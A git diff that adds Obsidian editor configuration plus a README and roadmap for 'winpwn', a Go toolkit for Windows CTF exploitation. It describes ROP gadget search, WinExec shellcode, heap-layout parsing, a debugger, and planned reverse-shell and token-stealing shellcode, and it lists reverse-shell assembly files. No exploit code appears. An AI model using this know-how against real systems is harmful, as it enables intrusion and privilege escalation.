tab-stack-top + options: + - + label: Top + value: tab-stack-top + - + label: Top flipped + value: tab-stack-top-flipped + - + label: Bottom + value: tab-stack-bottom + - + label: Bottom flipped + value: tab-stack-bottom-flipped + - + label: Center + value: tab-stack-center + - + label: Center flipped + value: tab-stack-center-flipped + - + id: tab-stacked-spine-order + title: Spine element order + type: variable-select + default: row + options: + - + label: Default + value: row + - + label: Reversed + value: row-reverse + - + id: tags + title: Tags + type: heading + level: 2 + collapsed: true + - + id: minimal-unstyled-tags + title: Plain tags + description: Tags will render as normal text, overrides settings below + type: class-toggle + default: false + - + id: tag-radius + title: Tag shape + type: variable-select + default: 14px + options: + - + label: Pill + value: 14px + - + label: Rounded + value: 4px + - + label: Square + value: 0px + - + id: tag-border-width + title: Tag border width + type: variable-select + default: 1px + options: + - + label: None + value: 0 + - + label: Thin + value: 1px + - + label: Thick + value: 2px + - + id: tag-color + title: Tag text color + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: tag-background + title: Tag background color + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: tag-background-hover + title: Tag background color (hover) + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: text + title: Text + type: heading + level: 2 + collapsed: true + - + id: tx1 + title: Normal text color + type: variable-themed-color + description: Primary text color used by default across all elements + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: hl1 + title: Selected text background + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: hl2 + title: Highlighted text background + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: tx2 + title: Muted text color + description: Secondary text such as sidebar note titles and table headings + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: tx3 + title: Faint text color + description: tertiary text such as input placeholders, empty checkboxes, and disabled statuses + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: text-formatting + title: Markdown syntax color + description: Markdown formatting syntax text color + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: italic-color + title: Italic text color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: bold-color + title: Bold text color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: bold-modifier + title: Bold text weight + type: variable-number-slider + default: 200 + min: 100 + max: 500 + step: 100 + - + id: p-spacing + title: Paragraph spacing + description: Space between paragraphs in reading mode (Obsidian 1.3.7+) + type: variable-text + default: 1.75rem + - + id: heading-spacing + title: Heading spacing + description: Space between paragraphs and headings in reading mode (Obsidian 1.3.7+) + type: variable-text + default: 2em + - + id: titles + title: Titles + type: heading + level: 2 + collapsed: true + - + id: tab-title-bar + title: Tab title bar + description: Tab title bar must be turned on in Appearance settings + type: heading + level: 3 + collapsed: true + - + id: file-header-visibility + title: Tab title visibility + description: Visibility of the tab title text + type: class-select + default: minimal-tab-title-hover + options: + - + label: Hover only + value: minimal-tab-title-hover + - + label: Hidden + value: minimal-tab-title-hidden + - + label: Visible + value: minimal-tab-title-visible + - + id: file-header-font-size + title: Tab title font size + description: Accepts any CSS font-size value + type: variable-text + default: 0.9em + - + id: file-header-font-weight + title: Tab title font weight + type: variable-number-slider + default: 400 + min: 100 + max: 900 + step: 100 + - + id: file-header-justify + title: Tab title alignment + type: variable-select + default: center + options: + - + label: Center + value: center + - + label: Left + value: left + - + id: title-color + title: Tab title text color (active) + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: title-color-inactive + title: Tab title text color (inactive) + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: inline-title + title: Inline title + description: Inline titles must be turned on in Appearance settings + type: heading + level: 3 + collapsed: true + - + id: inline-title-font + title: Inline title font + description: Name of the font as it appears on your system + type: variable-text + default: '' + - + id: inline-title-size + title: Inline title font size + description: Accepts any CSS font-size value + type: variable-text + default: 1.125em + - + id: inline-title-weight + title: Inline title font weight + type: variable-number-slider + default: 600 + min: 100 + max: 900 + step: 100 + - + id: inline-title-color + title: Inline title text color (active) + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: translucency + title: Translucency + type: heading + level: 2 + collapsed: true + - + id: workspace-background-translucent + title: Translucent background color + type: variable-themed-color + opacity: true + format: hex + default-light: '#' + default-dark: '#' + - + id: window-frame + title: Window frame + type: heading + level: 2 + collapsed: true + - + id: window-title-off + title: Hide window frame title + description: Hide title in the custom title bar + type: class-toggle + - + id: frame-background + title: Frame background + description: Requires colorful window frame + type: variable-themed-color + opacity: true + format: hsl-split + default-light: '#' + default-dark: '#' + - + id: frame-icon-color + title: Frame icon color + description: Requires colorful frame + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: titlebar-text-color-focused + title: Frame title color (focused) + description: Requires custom title bar + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: titlebar-text-color + title: Frame title color (inactive) + description: Requires custom title bar + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: titlebar-text-weight + title: Frame title font weight + description: Requires custom title bar + type: variable-number-slider + default: 600 + min: 100 + max: 900 + step: 100 +*/ + +/* @settings +name: Minimal Cards +id: minimal-cards-style +settings: + - + id: cards-min-width + title: Card minimum width + type: variable-text + default: 180px + - + id: cards-max-width + title: Card maximum width + description: Default fills the available width, accepts valid CSS units + type: variable-text + default: 1fr + - + id: cards-mobile-width + title: Card minimum width on mobile + type: variable-text + default: 120px + - + id: cards-padding + title: Card padding + type: variable-text + default: 1.2em + - + id: cards-image-height + title: Card maximum image height + type: variable-text + default: 400px + - + id: cards-border-width + title: Card border width + type: variable-text + default: 1px + - + id: cards-background + title: Card background color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + - + id: cards-background-hover (hover) + title: Card background color + type: variable-themed-color + format: hex + default-light: '#' + default-dark: '#' + +*/ + +/* @settings +name: Minimal Advanced Settings +id: minimal-advanced +settings: + - + id: hide-markdown + title: Hide Markdown syntax + description: WARNING — This may be confusing because the characters still exist they are just hidden. + type: class-toggle + - + id: hide-settings-desc + title: Hide setting descriptions + description: Press and hold setting names to see their description. + type: class-toggle + - + id: animations + title: Animation speed + type: class-select + default: default + options: + - + label: Normal + value: default + - + label: Disabled + value: disable-animations + - + label: Fast + value: fast-animations + - + id: cursor + title: Cursor style + description: The cursor style for UI elements + type: variable-select + default: default + options: + - + label: Default + value: default + - + label: Pointer + value: pointer + - + label: Crosshair + value: crosshair + - + id: font-ui-small + title: Small font size + description: Font size in px of smaller text + type: variable-number + default: 13 + format: px + - + id: font-ui-smaller + title: Smaller font size + description: Font size in px of smallest text + type: variable-number + default: 11 + format: px + - + id: mobile-toolbar-off + title: Disable mobile toolbar + description: Turns off toolbar in editor on mobile + type: class-toggle + +*/ diff --git a/.obsidian/workspace.json b/.obsidian/workspace.json new file mode 100644 index 0000000..498c353 --- /dev/null +++ b/.obsidian/workspace.json @@ -0,0 +1,191 @@ +{ + "main": { + "id": "0bd73f660e8e3af8", + "type": "split", + "children": [ + { + "id": "d2ce590c77d393ed", + "type": "tabs", + "children": [ + { + "id": "a2702fb7dd214b84", + "type": "leaf", + "state": { + "type": "markdown", + "state": { + "file": "USAGE_RU.md", + "mode": "source", + "source": false + }, + "icon": "lucide-file", + "title": "USAGE_RU" + } + } + ] + } + ], + "direction": "vertical" + }, + "left": { + "id": "117a97a5bb799ceb", + "type": "split", + "children": [ + { + "id": "989b2c4bbd212f4f", + "type": "tabs", + "children": [ + { + "id": "c02cc3320afd9c91", + "type": "leaf", + "state": { + "type": "file-explorer", + "state": { + "sortOrder": "alphabetical", + "autoReveal": false + }, + "icon": "lucide-folder-closed", + "title": "Files" + } + }, + { + "id": "427d81b19a95f021", + "type": "leaf", + "state": { + "type": "search", + "state": { + "query": "", + "matchingCase": false, + "explainSearch": false, + "collapseAll": false, + "extraContext": false, + "sortOrder": "alphabetical" + }, + "icon": "lucide-search", + "title": "Search" + } + }, + { + "id": "926eba43d9c83f2b", + "type": "leaf", + "state": { + "type": "bookmarks", + "state": {}, + "icon": "lucide-bookmark", + "title": "Bookmarks" + } + } + ] + } + ], + "direction": "horizontal", + "width": 219.5 + }, + "right": { + "id": "9a297289c18d0865", + "type": "split", + "children": [ + { + "id": "95c8dc3aa266804f", + "type": "tabs", + "children": [ + { + "id": "6704ecbcde25cdad", + "type": "leaf", + "state": { + "type": "backlink", + "state": { + "collapseAll": false, + "extraContext": false, + "sortOrder": "alphabetical", + "showSearch": false, + "searchQuery": "", + "backlinkCollapsed": false, + "unlinkedCollapsed": true + }, + "icon": "links-coming-in", + "title": "Backlinks" + } + }, + { + "id": "e4436962143bd303", + "type": "leaf", + "state": { + "type": "outgoing-link", + "state": { + "linksCollapsed": false, + "unlinkedCollapsed": true + }, + "icon": "links-going-out", + "title": "Outgoing links" + } + }, + { + "id": "ae13d378bf2573f9", + "type": "leaf", + "state": { + "type": "tag", + "state": { + "sortOrder": "frequency", + "useHierarchy": true, + "showSearch": false, + "searchQuery": "" + }, + "icon": "lucide-tags", + "title": "Tags" + } + }, + { + "id": "5ae9717d8c504129", + "type": "leaf", + "state": { + "type": "outline", + "state": { + "file": "Windows vs Linux.md", + "followCursor": false, + "showSearch": false, + "searchQuery": "" + }, + "icon": "lucide-list", + "title": "Outline of Windows vs Linux" + } + } + ] + } + ], + "direction": "horizontal", + "width": 300, + "collapsed": true + }, + "left-ribbon": { + "hiddenItems": { + "switcher:Open quick switcher": false, + "graph:Open graph view": false, + "canvas:Create new canvas": false, + "daily-notes:Open today's daily note": false, + "templates:Insert template": false, + "command-palette:Open command palette": false, + "bases:Create new base": false + } + }, + "active": "a2702fb7dd214b84", + "lastOpenFiles": [ + "USAGE_RU.md.tmp.9536.748626efbb42", + "USAGE.md.tmp.9536.1446eab87253", + "ROADMAP.md.tmp.9536.c8510b38dfc7", + "README.md.tmp.9536.b887ca0d4947", + "USAGE.md", + "ROADMAP.md", + "README.md", + "Untitled.md", + "Windows vs Linux.md", + "Проект.md", + "WINDOWS ROADMAP.md", + "shellcraft.go.tmp.8952.1bea1cf54fff", + "shellcraft.go.tmp.8952.837434c4d940", + "shellcode/bin/reverse_shell_x64.bin", + "shellcode/asm/reverse_shell_x64.lst", + "shellcode/asm/reverse_shell_x64.bin", + "shellcode/asm/reverse_shell_x64.asm", + "shellcode/asm/reverse_shell_x64.asm.tmp.8952.bee8e6cf5d45" + ] +} \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..18522a2 --- /dev/null +++ b/README.md @@ -0,0 +1,160 @@ +# winpwn + +Pwntools-style exploitation toolkit for Windows pwn/CTF tasks, written in Go. + +pwntools targets Linux. winpwn targets the Windows equivalents: SEH instead of +signals, PE instead of ELF, msvcrt/ntdll instead of glibc, the Windows Debug +API instead of ptrace/GDB. Go is used for direct WinAPI access +(`golang.org/x/sys/windows`) and goroutine-based concurrent I/O. + +## Install / import + +Library (used from a solve script): + +```go +import "winpwn" + +func main() { + t, err := winpwn.Spawn("./target.exe") + if err != nil { + log.Fatal(err) + } + if err := t.SendLineAfter([]byte("Input: "), payload); err != nil { + log.Fatal(err) + } + t.Interactive() +} +``` + +The module is used locally via a `replace` directive; it is not published. + +CLI (quick-answer wrapper): + +``` +go install ./cmd/winpwn +go install ./cmd/pwninit +``` + +## Components + +**Core** ([context.go](context.go), [log.go](log.go), [cyclic.go](cyclic.go), +[fiddling.go](fiddling.go), [packing.go](packing.go)) +- `Context`: global `Arch`, `LogLevel`, `Timeout`, `Newline` (pwntools' `context`). +- `Info`/`Success`/`Warn`/`Error`: leveled logger to stderr, gated by `Context.LogLevel`. +- `Cyclic`/`CyclicN`/`CyclicFind`/`CyclicFindN`: de Bruijn pattern generation and + offset lookup. Matches pwntools' `cyclic`/`cyclic_find` output. +- `Hexdump`/`Enhex`/`Unhex`/`Xor`. +- `P16`/`P32`/`P64`, `U16`/`U32`/`U64`: little-endian pack/unpack. + +**Tubes** ([tube.go](tube.go), [process.go](process.go), [remote.go](remote.go)) +- `Spawn` (local process) and `Remote` (TCP) return a `*Tube`. +- `Send`/`SendLine`/`SendAfter`/`SendLineAfter`/`Recv`/`RecvUntil`/`RecvLine`/ + `RecvRegex`/`RecvPred`/`Interactive`/`Close`. +- Every method returns `error`; the library never calls `os.Exit`/`log.Fatal`. +- `SetTimeout` overrides `Context.Timeout` per tube (0 = block forever). + +**Named pipes** ([pipe_windows.go](pipe_windows.go)) +- `ServePipe(name)` / `DialPipe(name)` over `CreateNamedPipe` + (`PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED`) / `CreateFile`, both returning a + `*Tube`. + +**PE analysis** ([pe.go](pe.go), [sections.go](sections.go)) +- `OpenPE`, `ImageBase`, `EntryPoint`, `Is64Bit` (PE32 and PE32+). +- Per-section `IsReadable`/`Writable`/`Executable`/`IsRWX`, `VirtualAddress` + (RVA), `Offset` (`PointerToRawData`, file offset), `Entropy`, + `LikelyPackedSections`. +- `SearchBytes`: byte-pattern search across sections (analogue of `elf.search()`). + +**Checksec** ([checksec.go](checksec.go), [authenticode_windows.go](authenticode_windows.go)) +- `(*PEFile).Checksec()`: ASLR, HighEntropyVA, DEP, CFG (cross-checked against + Load Config `GuardFlags`), SafeSEH (x86 only, gated by `SEHApplicable`), + GS-cookie heuristic, Authenticode presence, .NET/CLR. +- `VerifyAuthenticodeSignature`: signature verification via `WinVerifyTrust` + (Windows-only, no network calls). + +**Imports / exports** ([exports.go](exports.go), [imports.go](imports.go), +[imported_libs_windows.go](imported_libs_windows.go)) +- `ListExports`/`GetExport` with forwarder resolution. +- `ListImports`/`FindImport` walking the IAT thunk arrays. +- `ImportedLibs`: distinct imported DLLs, each `LoadLibrary`'d to report its live + image base (system DLL bases are randomized per boot, not per process, so the + address is valid machine-wide until reboot). + +**Live-process PE** ([procmem_windows.go](procmem_windows.go), [symbols_windows.go](symbols_windows.go)) +- `OpenPEFromProcess(pid, base)`: every PE accessor works against process memory + (`ReadProcessMemory`), not just a disk file. +- `ResolveModuleBase(pid, name)`: walks `PEB->Ldr->InMemoryOrderModuleList`. +- `SpawnSuspended`/`ResumeMainThread`: launch with `CREATE_SUSPENDED`. + `ResolveModuleBase` returns null until the loader runs post-resume. +- `ProcessSymbols` (`NewProcessSymbols`): `Base`, `Symbol`, `Modules`, + `AllSymbols`. `SymbolVA`/`ListLoadedModules` for one-off lookups. + +**ROP gadgets** ([gadgets.go](gadgets.go), [rop.go](rop.go)) +- `NewROP(path)`: shells out to `rp-win.exe` (a Windows build of rp++), resolved + from `RP_WIN_EXE` or `C:\tools\rp-win\rp-win.exe`. Run with `--allow-branches`, + so results include JOP transit gadgets (indirect `jmp reg`/`call reg`) as well + as ret-terminated ones. +- `NewROPExternal(path, toolPath)`: explicit tool path. +- `Find(pattern)`: ranked matches, index 0 is the cleanest usable gadget. + `Search`/`SearchRegex`: `(results, error)` form. +- `Disassemble(addr, count)`: native decode via `golang.org/x/arch/x86/x86asm` + for verifying a chain in-script. + +**Patching** ([patch.go](patch.go)) +- `OpenPEForWrite`, `SetSectionCharacteristics`/`MakeSectionExecutable`/ + `MakeSectionWritable`, `DisableTLSCallbacks`, `PatchBytes`/ + `PatchBytesAtOffset`, `RecalculateChecksum`. + +**Minidump** ([minidump.go](minidump.go)) +- `OpenMinidump(path)`: parses `MINIDUMP_HEADER`/`MINIDUMP_DIRECTORY` directly + (no `dbghelp.dll`). `Modules()` (loaded modules + base addresses), + `Exception()` (faulting thread/code/address/parameters), `RawStream(type)` for + any other stream. Works without `GOOS=windows`. + +**Debugger** ([debugger_windows.go](debugger_windows.go)) +- `Attach(pid)`: wraps the Windows Debug API + (`DebugActiveProcess`/`WaitForDebugEvent`/`ContinueDebugEvent`/ + `Get/SetThreadContext`), resolved via `LazyDLL`. +- `Events()`: typed event channel (`EventBreakpoint`/`EventException`/ + `EventCreateProcess`/`EventLoadDll`/`EventExitProcess`/...). +- `SetBreakpoint`/`RemoveBreakpoint`: software INT3; `Continue` handles the + restore/single-step/re-arm sequence internally. +- `GetContext`/`SetContext` (registers), `ReadMemory`/`WriteMemory`. +- No GUI-debugger (x64dbg/WinDbg) integration; `Attach` uses the same Win32 API. + +**Heap struct parsing** ([heap.go](heap.go), [heap_lfh.go](heap_lfh.go), +[heap_segment.go](heap_segment.go), [heap_windows.go](heap_windows.go)) +- Works against any `io.ReaderAt` (`*ProcessMemory`, `*Debugger`, or a test + buffer). Only `ListProcessHeaps` requires a live process (walks the PEB). +- NT Heap: `ReadHeap`, `DecodeHeapEntry` (XOR-decoding), `WalkAllHeapEntries`, + `SummariseEntries`, `AdjacentBusyPairs`, `EntriesInRange`, `EntriesWithUserData`. +- NT Heap LFH: `ReadLFHBuckets`, `FindLFHBucket`, `ActiveSubsegment`, + `ReadLFHSubsegment`, `CalibrateLFHFirstBlockOffset`, `BlockAddress`, `SlotOf`. +- Segment Heap: `ReadSegmentHeap` (VS/LFH context summaries). +- `AdjacentAddressPairs`/`FindAdjacentPair`: adjacency detection from leaked + addresses, no chunk-header decode required. +- Offsets confirmed on build 10.0.26100; verify on other builds. VS chunk headers + and LFH `EncodedOffsets` are XOR-encoded and not decoded — calibrate against a + known address instead. + +**Spray** ([spray.go](spray.go)) +- `SprayAndFind`: spray up to N times, check each attempt against all prior + samples (plus an optional seed) via a caller-supplied relation, return the + first match. Covers both equality (UAF reuse) and distance (adjacency) checks. + +**Shellcraft** ([shellcraft.go](shellcraft.go), [shellcode_exec_windows.go](shellcode_exec_windows.go)) +- `ShellcodeWinExec(cmd)`: position-independent x64 shellcode resolving kernel32 + via the PEB (source: [shellcode/asm/winexec_x64.asm](shellcode/asm/winexec_x64.asm)). +- `ExecuteShellcode`: runs a template locally for validation. + +**CLI** ([cmd/winpwn](cmd/winpwn/main.go), [cmd/pwninit](cmd/pwninit/main.go)) +- `winpwn`: `checksec`, `cyclic`, `hex`/`unhex`, `hexdump`, `rop`, `bytes`, + `disasm`, `exports`, `imports`, `heap`. +- `pwninit`: prints recon (arch, checksec, sections, imported libs) and scaffolds + a `go.mod` + minimal `main.go` for a new task. + +## Documentation + +- [USAGE.md](USAGE.md) — worked examples and a function-by-function reference. +- [USAGE_RU.md](USAGE_RU.md) — condensed reference (Russian). +- [ROADMAP.md](ROADMAP.md) — implementation status and planned work. diff --git a/ROADMAP.md b/ROADMAP.md new file mode 100644 index 0000000..78a865f --- /dev/null +++ b/ROADMAP.md @@ -0,0 +1,230 @@ +# winpwn roadmap + +Status and planned work, organized by feature area. Each item names the pwntools +feature it mirrors, where one exists. + +Scope: winpwn is built for a local Windows-only CTF. The goal is to let a player +who understands an exploit technique (overflow, UAF, IOCTL abuse, token stealing) +work at that level instead of on WinAPI struct layouts and Go plumbing. + +Legend: ✅ done · 🚧 partial · ⬜ planned. + +## Core ergonomics — ✅ + +- `Context` ([context.go](context.go)): `Arch` (x86/x64), `LogLevel`, `Timeout`, + `Newline`. Note: `P16/P32/P64` are little-endian only and do not read + endianness from `Context.Arch` — every Windows target is little-endian. +- Logging ([log.go](log.go)): `Info`/`Success`/`Warn`/`Error`, gated by + `Context.LogLevel`. Every `Tube` method returns `error` rather than exiting. +- Timeouts ([tube.go](tube.go)): `(*Tube).SetTimeout` overrides `Context.Timeout` + (0 = block forever). `Recv*`/`Send*` race the call against the deadline via + goroutine + `select`. A timed-out call's goroutine is not killed; it runs until + the underlying blocking I/O completes (Go has no portable deadline for an + arbitrary pipe/socket reader). +- `cyclic` ([cyclic.go](cyclic.go)): `Cyclic`/`CyclicN`, `CyclicFind`/ + `CyclicFindN`. Generator is lazy (`deBruijnEach`) and stops at the requested + length. Verified against pwntools' `cyclic(20)` output. +- `fiddling` ([fiddling.go](fiddling.go)): `Hexdump`, `Enhex`/`Unhex`, `Xor`. +- Packing ([packing.go](packing.go)): `P16`/`P32`/`P64`, `U16`/`U32`/`U64`. +- Tube API ([tube.go](tube.go)): `Send*`/`Recv*`/`RecvRegex`/`RecvPred`/ + `Interactive`/`Close`. + +## PE tooling — ✅ + +- Parsing ([pe.go](pe.go), [sections.go](sections.go)): `ImageBase`, + `EntryPoint`, PE32 and PE32+ via a unified `header()` helper, per-section + `Entropy`/`IsLikelyPacked`, `IsReadable`/`Writable`/`Executable`/`IsRWX`. +- Checksec ([checksec.go](checksec.go)): ASLR/`DYNAMIC_BASE`, `HighEntropyVA`, + DEP/`NX_COMPAT`, CFG (cross-checked against Load Config `GuardFlags`), SafeSEH + (x86 only, flagged `SEHApplicable`), GS heuristic, Authenticode presence, .NET. + Signature verification via `WinVerifyTrust` in + [authenticode_windows.go](authenticode_windows.go). +- IAT/EAT ([exports.go](exports.go), [imports.go](imports.go)): `ListExports`/ + `GetExport` with forwarder resolution, `ListImports`/`FindImport` walking the + thunk arrays (ordinal-or-name, 32/64-bit thunk width). +- ROP ([gadgets.go](gadgets.go), [rop.go](rop.go)): `NewROP` shells out to + `rp-win.exe` (rp++ build), resolved from `RP_WIN_EXE` or + `C:\tools\rp-win\rp-win.exe`, run with `--allow-branches`. `NewROPExternal` + takes an explicit tool path. `Find`/`Search`/`SearchRegex` filter the results; + `Disassemble` decodes natively via `x86asm` for chain verification. +- Patching ([patch.go](patch.go)): `OpenPEForWrite`, + `SetSectionCharacteristics`/`MakeSectionExecutable`/`MakeSectionWritable`, + `DisableTLSCallbacks`, `PatchBytes`/`PatchBytesAtOffset`, `RecalculateChecksum`. + +Deferred: +- ⬜ `AddSection`: append a new section for payload injection. Requires + growing the header area and recomputing `SizeOfImage`/`SizeOfHeaders`; needs + round-trip tests against real binaries. +- ⬜ `DynPE` (analogue of `DynELF`): given one memory-read primitive, walk a + loaded module's export directory at runtime to resolve symbols. + +## Live-process introspection — ✅ + +Reads a PE inside a running process, resolving a module base via the PEB. + +- `PEFile` is backed by `io.ReaderAt`/`io.WriterAt` ([pe.go](pe.go)), so a + `ReadProcessMemory`-backed implementation gets every PE accessor for free. +- `OpenPEFromProcess(pid, base)` ([procmem_windows.go](procmem_windows.go)): + live-memory entry point over `ProcessMemory`. In this mode `RVAToFileOffset` + is the identity function (a loaded RVA is a read offset from the module base). +- `ResolveModuleBase(pid, name)`: walks `PEB->Ldr->InMemoryOrderModuleList`, + matched case-insensitively by base name. +- `SpawnSuspended`/`ResumeMainThread`: launch with `CREATE_SUSPENDED`. + `ResolveModuleBase` returns null on a still-suspended process — the loader + (`ntdll!LdrInitializeThunk`) has not populated `PEB->Ldr` yet. + `SpawnSuspended` is for attaching a debugger before the loader/entry point run, + not for pre-resume base resolution. +- `ProcessSymbols` ([symbols_windows.go](symbols_windows.go)): `Base`, `Symbol`, + `Modules`, `AllSymbols`; caches one `PEFile` per DLL. `SymbolVA`/ + `ListLoadedModules` for one-off lookups. (Analogue of `p.libs`/`p.symbols`.) + +## Minidump — ✅ + +[minidump.go](minidump.go): `OpenMinidump` parses `MINIDUMP_HEADER`/ +`MINIDUMP_DIRECTORY` and decodes `ModuleListStream` (`Modules()`) and +`ExceptionStream` (`Exception()`) from the public struct layouts, without +`dbghelp.dll`. `RawStream(type)` returns any other stream undecoded. Register +context (`CONTEXT` blob) is not decoded — its layout is arch-specific with XSAVE +padding; use `RawStream`. Works without `GOOS=windows`. + +## Shellcode & encoding — 🚧 + +- ✅ `ShellcodeWinExec(cmd)` ([shellcraft.go](shellcraft.go), + [shellcode/asm/winexec_x64.asm](shellcode/asm/winexec_x64.asm)): + position-independent x64, resolves kernel32 via the PEB + (`shellcode/asm/resolver.inc`), calls `WinExec` by name. Assembled ahead of + time with NASM; `.asm` source kept alongside the `.bin`. +- ✅ `ExecuteShellcode` ([shellcode_exec_windows.go](shellcode_exec_windows.go)): + runs a template locally for validation. +- ⬜ More templates on the same resolver base: `MessageBoxA`, reverse shell via + raw `WS2_32`, a standalone `LoadLibraryA`+`GetProcAddress` primitive (current + `find_export` only walks an already-loaded module). +- ⬜ Token-stealing shellcode (see Driver/LPE). +- ⬜ Encoders: alphanumeric and XOR bad-character avoidance. +- ⬜ `asm`/assemble direction. Disassembly exists (`ROP.Disassemble` via + `x86asm`); assembling would use cgo bindings to the `keystone/` engine + (walled off by its own `go.mod`, [keystone/go.mod](keystone/go.mod)). + +## Debugger — ✅ + +[debugger_windows.go](debugger_windows.go) wraps the Windows Debug API +(`DebugActiveProcess`/`WaitForDebugEvent`/`ContinueDebugEvent`/ +`Get/SetThreadContext`), resolved via `LazyDLL`. No GUI-debugger integration. + +- `Attach(pid)`: the only entry point. The OS ties the debug session to the + thread that called `DebugActiveProcess`, so `Attach` pins a dedicated goroutine + with `runtime.LockOSThread` and runs the entire event loop there. Compose with + `SpawnSuspended`/`ResumeMainThread` to debug from the first instruction. +- `Events() <-chan DebugEvent`: decodes `EXCEPTION_DEBUG_EVENT`/ + `CREATE_PROCESS_DEBUG_EVENT`/`LOAD_DLL_DEBUG_EVENT`/`EXIT_PROCESS_DEBUG_EVENT`/ + etc. `DEBUG_EVENT` union payloads are read via `unsafe.Pointer`. +- `SetBreakpoint`/`RemoveBreakpoint`: software INT3. `Continue` restores the + original byte, single-steps, and re-arms so a breakpoint persists across hits. + `Rip` is rewound past the trap before the event reaches the caller. +- `GetContext`/`SetContext`: a `Registers` struct (Rax..R15/Rip/EFlags) over the + x64 `CONTEXT`. `ReadMemory`/`WriteMemory` over the debuggee's address space. +- Hardware breakpoints (debug registers) are not implemented; software + breakpoints plus `Step`/`GetContext`/`SetContext` cover the common case. +- `Step()` in response to an `EventBreakpoint` behaves like `Continue` (resuming + past a software breakpoint already requires an internal single-step). + +## Networking & transports — 🚧 + +- ✅ Named pipes ([pipe_windows.go](pipe_windows.go)): `ServePipe(name)`/ + `DialPipe(name)`, both returning a `*Tube`. `ServePipe` uses + `PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED`; each `ReadFile`/`WriteFile` blocks + on `GetOverlappedResult`, so the handle behaves as a blocking + `io.ReadWriteCloser`. `pipeConn.Close()` is idempotent (`sync.Once`) because + the duplex handle is used as both `Tube.stdin` and `Tube.stdout`. +- ⬜ `Listen`: TCP listener tube for reverse shells (`net.Listen`). +- ⬜ TLS transport (`Remote` with `tls.Dial`). +- ⬜ SSH transport (`golang.org/x/crypto/ssh`). +- ⬜ Process-tree cleanup: `Spawn` should kill the whole tree on `Close()` via a + Windows Job Object. + +## CLI — 🚧 + +[cmd/winpwn/main.go](cmd/winpwn/main.go), additive to the library. + +Done: `checksec`, `cyclic` (`-l` accepts literal bytes or a `0x...` packed +integer), `hex`/`unhex`/`hexdump`, `rop` (`-search`/`-regex`; no unfiltered dump +mode), `disasm`, `exports`, `imports`, `heap`. + +Open: +- ⬜ `winpwn asm`: blocked on the Keystone integration. +- ⬜ `winpwn template`: scaffold a new solve script (partly covered by + [cmd/pwninit](cmd/pwninit/main.go)). + +## Driver / LPE (Ring 0) — ⬜ + +- ⬜ Device handle + IOCTL wrapper: `OpenDevice(name)` over `CreateFileA`, + `(*Device).IOCTL(code, in)` over `DeviceIoControl`, handling output-buffer + sizing and error mapping. +- ⬜ Token-stealing shellcode (x86 and x64), parameterized by a + `KernelOffsets{Process, ActiveProcessLinks, Token}` struct. +- ⬜ Kernel info-leak helpers over the common `NtQuerySystemInformation` classes. + +## Heap exploitation — 🚧 + +Heap struct-parsing layer. All decoders work against any `io.ReaderAt`; only +finding a heap address in a live process needs Windows syscalls. + +- ✅ NT Heap foundation ([heap.go](heap.go)): `_HEAP`/`_HEAP_SEGMENT`/ + `_HEAP_ENTRY` + `DecodeHeapEntry` (XOR against `_HEAP.Encoding`). Offsets from + `dt ntdll!_HEAP` on build 10.0.26100; decode validated against `!heap -a` for + three allocations (see `TestDecodeHeapEntryMatchesLiveGroundTruth`). + `WalkAllHeapEntries`, `SummariseEntries`, `EntriesInRange`, + `EntriesWithUserData`, `AdjacentBusyPairs`. `UserSize` = + `Size*HeapEntrySize - UnusedBytes` (no separate header subtraction — + `UnusedBytes` already accounts for the header). +- ✅ `ListProcessHeaps(pid)` ([heap_windows.go](heap_windows.go)): PEB walk via + `NtQueryInformationProcess(ProcessBasicInformation)`. +- ✅ NT Heap LFH ([heap_lfh.go](heap_lfh.go)): `ReadLFHBuckets`, + `FindLFHBucket` (searches `BlockSize >= wantSize + 16`; LFH blocks include the + 16-byte header), `ActiveSubsegment`, `AllSubsegments`, `ReadLFHSubsegment` + (BusyBitmap validated), `CalibrateLFHFirstBlockOffset`, `BlockAddress`, + `SlotOf`. Caveats: a bucket warms up after ≈19 same-size requests before + `SegmentInfoArrays[bucket]` is populated (build-specific); + `_HEAP_USERDATA_HEADER.EncodedOffsets` is obfuscated — + `CalibrateLFHFirstBlockOffset` uses a known-address calibration instead. +- ✅ Segment Heap outer layer ([heap_segment.go](heap_segment.go)): + `ReadSegmentHeap` (Signature/GlobalFlags + VS/LFH summaries), VS subsegment + walk, LFH bucket enumeration. VS `_HEAP_VS_CHUNK_HEADER.Sizes` and Segment LFH + `BlockOffsets.EncodedData` are XOR-encoded and not decoded. Adjacency is + handled by `AdjacentAddressPairs`/`FindAdjacentPair` on leaked addresses, which + needs no chunk-header decode. +- ✅ `winpwn heap [-walk]` CLI subcommand. +- ⬜ BSTR/client-spray generator (lower priority; `SprayAndFind` covers the + generic retry/search loop). + +## Go-native additions — ⬜ + +- ⬜ `Pool`: fan out one exploit across N parallel connections via a bounded + goroutine pool. +- ⬜ Race-condition primitives: fire N goroutines at a target behind a barrier. +- ⬜ Cancellable `Interactive`: propagate a `context.Context` into both copy + goroutines so the stdin-forwarding goroutine does not outlive the tube. + +## Testing + +- Unit tests: [cyclic_test.go](cyclic_test.go), [fiddling_test.go](fiddling_test.go), + [packing_test.go](packing_test.go) 